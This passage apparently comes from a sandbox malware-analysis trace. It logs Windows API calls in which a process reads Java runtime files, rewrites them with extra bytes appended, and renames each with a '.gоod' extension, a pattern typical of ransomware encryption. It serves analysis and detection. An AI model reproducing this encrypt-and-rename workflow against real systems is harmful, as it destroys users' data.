0x31 [0091.267] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c480) returned 1 [0091.267] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0091.267] GetFileType (hFile=0x7b0) returned 0x1 [0091.267] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c3f0) returned 1 [0091.267] GetFileType (hFile=0x7b0) returned 0x1 [0091.267] GetFileSize (in: hFile=0x7b0, lpFileSizeHigh=0x1f49c628 | out: lpFileSizeHigh=0x1f49c628*=0x0) returned 0x84e [0091.267] ReadFile (in: hFile=0x7b0, lpBuffer=0x35da808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c558, lpOverlapped=0x0 | out: lpBuffer=0x35da808*, lpNumberOfBytesRead=0x1f49c558*=0x84e, lpOverlapped=0x0) returned 1 [0091.269] CloseHandle (hObject=0x7b0) returned 1 [0091.941] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index", nBufferLength=0x105, lpBuffer=0x1f49bf60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index", lpFilePart=0x0) returned 0x31 [0091.941] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c480) returned 1 [0091.941] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ac [0091.942] GetFileType (hFile=0x7ac) returned 0x1 [0091.942] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c3f0) returned 1 [0091.942] GetFileType (hFile=0x7ac) returned 0x1 [0091.942] WriteFile (in: hFile=0x7ac, lpBuffer=0x34f07a0*, nNumberOfBytesToWrite=0x850, lpNumberOfBytesWritten=0x1f49c468, lpOverlapped=0x0 | out: lpBuffer=0x34f07a0*, lpNumberOfBytesWritten=0x1f49c468*=0x850, lpOverlapped=0x0) returned 1 [0091.943] CloseHandle (hObject=0x7ac) returned 1 [0091.943] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index", lpFilePart=0x0) returned 0x31 [0091.943] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index.gоod", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index.gоod", lpFilePart=0x0) returned 0x36 [0091.943] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c590) returned 1 [0091.943] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index"), fInfoLevelId=0x0, lpFileInformation=0x1f49c670 | out: lpFileInformation=0x1f49c670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3302e3ee, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x850)) returned 1 [0091.943] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c550) returned 1 [0091.943] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index.gоod")) returned 1 [0091.944] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar", lpFilePart=0x0) returned 0x31 [0091.944] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c5d0) returned 1 [0091.944] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar"), fInfoLevelId=0x0, lpFileInformation=0x34f1a18 | out: lpFileInformation=0x34f1a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8d81efe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8d81efe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8df45fe, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1d588b)) returned 1 [0091.944] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c590) returned 1 [0091.944] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar", lpFilePart=0x0) returned 0x31 [0091.945] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0091.945] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ac [0091.945] GetFileType (hFile=0x7ac) returned 0x1 [0091.945] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0091.945] GetFileType (hFile=0x7ac) returned 0x1 [0091.945] SetFilePointer (in: hFile=0x7ac, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x1000 [0091.945] ReadFile (in: hFile=0x7ac, lpBuffer=0x34f1dd0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5f8, lpOverlapped=0x0 | out: lpBuffer=0x34f1dd0*, lpNumberOfBytesRead=0x1f49c5f8*=0x1000, lpOverlapped=0x0) returned 1 [0092.129] CloseHandle (hObject=0x7ac) returned 1 [0092.195] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar", lpFilePart=0x0) returned 0x31 [0092.195] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0092.195] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ac [0092.195] GetFileType (hFile=0x7ac) returned 0x1 [0092.196] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0092.196] GetFileType (hFile=0x7ac) returned 0x1 [0092.196] SetFilePointer (in: hFile=0x7ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x1d588b [0092.196] WriteFile (in: hFile=0x7ac, lpBuffer=0x3391af0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f49c518, lpOverlapped=0x0 | out: lpBuffer=0x3391af0*, lpNumberOfBytesWritten=0x1f49c518*=0x10, lpOverlapped=0x0) returned 1 [0092.198] CloseHandle (hObject=0x7ac) returned 1 [0092.198] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar", lpFilePart=0x0) returned 0x31 [0092.198] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0092.198] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ac [0092.198] GetFileType (hFile=0x7ac) returned 0x1 [0092.198] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0092.199] GetFileType (hFile=0x7ac) returned 0x1 [0092.199] ReadFile (in: hFile=0x7ac, lpBuffer=0x3393d80, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5a8, lpOverlapped=0x0 | out: lpBuffer=0x3393d80*, lpNumberOfBytesRead=0x1f49c5a8*=0x1000, lpOverlapped=0x0) returned 1 [0092.616] CloseHandle (hObject=0x7ac) returned 1 [0092.617] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar", lpFilePart=0x0) returned 0x31 [0092.617] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0092.617] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ac [0092.617] GetFileType (hFile=0x7ac) returned 0x1 [0092.617] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0092.617] GetFileType (hFile=0x7ac) returned 0x1 [0092.617] WriteFile (in: hFile=0x7ac, lpBuffer=0x3392b08*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f49c658, lpOverlapped=0x0 | out: lpBuffer=0x3392b08*, lpNumberOfBytesWritten=0x1f49c658*=0x1010, lpOverlapped=0x0) returned 1 [0092.617] CloseHandle (hObject=0x7ac) returned 1 [0092.617] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar", lpFilePart=0x0) returned 0x31 [0092.618] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar.gоod", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar.gоod", lpFilePart=0x0) returned 0x36 [0092.618] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c590) returned 1 [0092.618] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar"), fInfoLevelId=0x0, lpFileInformation=0x1f49c670 | out: lpFileInformation=0x1f49c670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8d81efe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8d81efe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x336bcafe, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1d589b)) returned 1 [0092.618] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c550) returned 1 [0092.618] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar.gоod")) returned 1 [0092.618] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja", lpFilePart=0x0) returned 0x3b [0092.618] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c5d0) returned 1 [0092.619] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja"), fInfoLevelId=0x0, lpFileInformation=0x36b6568 | out: lpFileInformation=0x36b6568*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xaec)) returned 1 [0092.619] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c590) returned 1 [0092.620] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja", nBufferLength=0x105, lpBuffer=0x1f49bf60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja", lpFilePart=0x0) returned 0x3b [0092.620] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c480) returned 1 [0092.620] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ac [0092.620] GetFileType (hFile=0x7ac) returned 0x1 [0092.620] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c3f0) returned 1 [0092.620] GetFileType (hFile=0x7ac) returned 0x1 [0092.620] GetFileSize (in: hFile=0x7ac, lpFileSizeHigh=0x1f49c628 | out: lpFileSizeHigh=0x1f49c628*=0x0) returned 0xaec [0092.620] ReadFile (in: hFile=0x7ac, lpBuffer=0x36b72f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c558, lpOverlapped=0x0 | out: lpBuffer=0x36b72f0*, lpNumberOfBytesRead=0x1f49c558*=0xaec, lpOverlapped=0x0) returned 1 [0092.621] CloseHandle (hObject=0x7ac) returned 1 [0092.986] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja", nBufferLength=0x105, lpBuffer=0x1f49bf60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja", lpFilePart=0x0) returned 0x3b [0092.986] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c480) returned 1 [0092.986] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0092.987] GetFileType (hFile=0x7b0) returned 0x1 [0092.987] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c3f0) returned 1 [0092.987] GetFileType (hFile=0x7b0) returned 0x1 [0092.987] WriteFile (in: hFile=0x7b0, lpBuffer=0x34b78a8*, nNumberOfBytesToWrite=0xaf0, lpNumberOfBytesWritten=0x1f49c468, lpOverlapped=0x0 | out: lpBuffer=0x34b78a8*, lpNumberOfBytesWritten=0x1f49c468*=0xaf0, lpOverlapped=0x0) returned 1 [0092.988] CloseHandle (hObject=0x7b0) returned 1 [0092.988] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja", lpFilePart=0x0) returned 0x3b [0092.988] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja.gоod", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja.gоod", lpFilePart=0x0) returned 0x40 [0092.988] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c590) returned 1 [0092.989] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja"), fInfoLevelId=0x0, lpFileInformation=0x1f49c670 | out: lpFileInformation=0x1f49c670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x33a2a1f5, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xaf0)) returned 1 [0092.989] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c550) returned 1 [0092.989] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja.gоod")) returned 1 [0092.989] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar", lpFilePart=0x0) returned 0x34 [0092.989] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c5d0) returned 1 [0092.989] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar"), fInfoLevelId=0x0, lpFileInformation=0x34b8b60 | out: lpFileInformation=0x34b8b60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x354add)) returned 1 [0092.990] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c590) returned 1 [0092.990] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar", lpFilePart=0x0) returned 0x34 [0092.990] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0092.990] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0092.990] GetFileType (hFile=0x7b0) returned 0x1 [0092.990] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0092.990] GetFileType (hFile=0x7b0) returned 0x1 [0092.990] SetFilePointer (in: hFile=0x7b0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x1000 [0092.990] ReadFile (in: hFile=0x7b0, lpBuffer=0x34b8f38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5f8, lpOverlapped=0x0 | out: lpBuffer=0x34b8f38*, lpNumberOfBytesRead=0x1f49c5f8*=0x1000, lpOverlapped=0x0) returned 1 [0093.987] CloseHandle (hObject=0x7b0) returned 1 [0093.987] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar", lpFilePart=0x0) returned 0x34 [0093.987] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0093.987] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0093.988] GetFileType (hFile=0x7b0) returned 0x1 [0093.988] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0093.988] GetFileType (hFile=0x7b0) returned 0x1 [0093.988] SetFilePointer (in: hFile=0x7b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x354add [0093.988] WriteFile (in: hFile=0x7b0, lpBuffer=0x3504a90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f49c518, lpOverlapped=0x0 | out: lpBuffer=0x3504a90*, lpNumberOfBytesWritten=0x1f49c518*=0x10, lpOverlapped=0x0) returned 1 [0094.101] CloseHandle (hObject=0x7b0) returned 1 [0094.101] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar", lpFilePart=0x0) returned 0x34 [0094.101] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0094.101] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0094.101] GetFileType (hFile=0x7b0) returned 0x1 [0094.101] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0094.101] GetFileType (hFile=0x7b0) returned 0x1 [0094.102] ReadFile (in: hFile=0x7b0, lpBuffer=0x3526330, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5a8, lpOverlapped=0x0 | out: lpBuffer=0x3526330*, lpNumberOfBytesRead=0x1f49c5a8*=0x1000, lpOverlapped=0x0) returned 1 [0094.131] CloseHandle (hObject=0x7b0) returned 1 [0094.131] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar", lpFilePart=0x0) returned 0x34 [0094.131] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0094.131] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0094.131] GetFileType (hFile=0x7b0) returned 0x1 [0094.131] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0094.131] GetFileType (hFile=0x7b0) returned 0x1 [0094.131] WriteFile (in: hFile=0x7b0, lpBuffer=0x35250a8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f49c658, lpOverlapped=0x0 | out: lpBuffer=0x35250a8*, lpNumberOfBytesWritten=0x1f49c658*=0x1010, lpOverlapped=0x0) returned 1 [0094.131] CloseHandle (hObject=0x7b0) returned 1 [0094.131] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar", lpFilePart=0x0) returned 0x34 [0094.132] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar.gоod", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar.gоod", lpFilePart=0x0) returned 0x39 [0094.132] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c590) returned 1 [0094.132] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar"), fInfoLevelId=0x0, lpFileInformation=0x1f49c670 | out: lpFileInformation=0x1f49c670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3452e3af, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x354aed)) returned 1 [0094.132] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c550) returned 1 [0094.132] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar.gоod")) returned 1 [0094.132] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar", lpFilePart=0x0) returned 0x2d [0094.133] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c5d0) returned 1 [0094.133] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar"), fInfoLevelId=0x0, lpFileInformation=0x35a38e0 | out: lpFileInformation=0x35a38e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa90a30aa, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa90a30aa, ftLastAccessTime.dwHighDateTime=0x1d327cc, 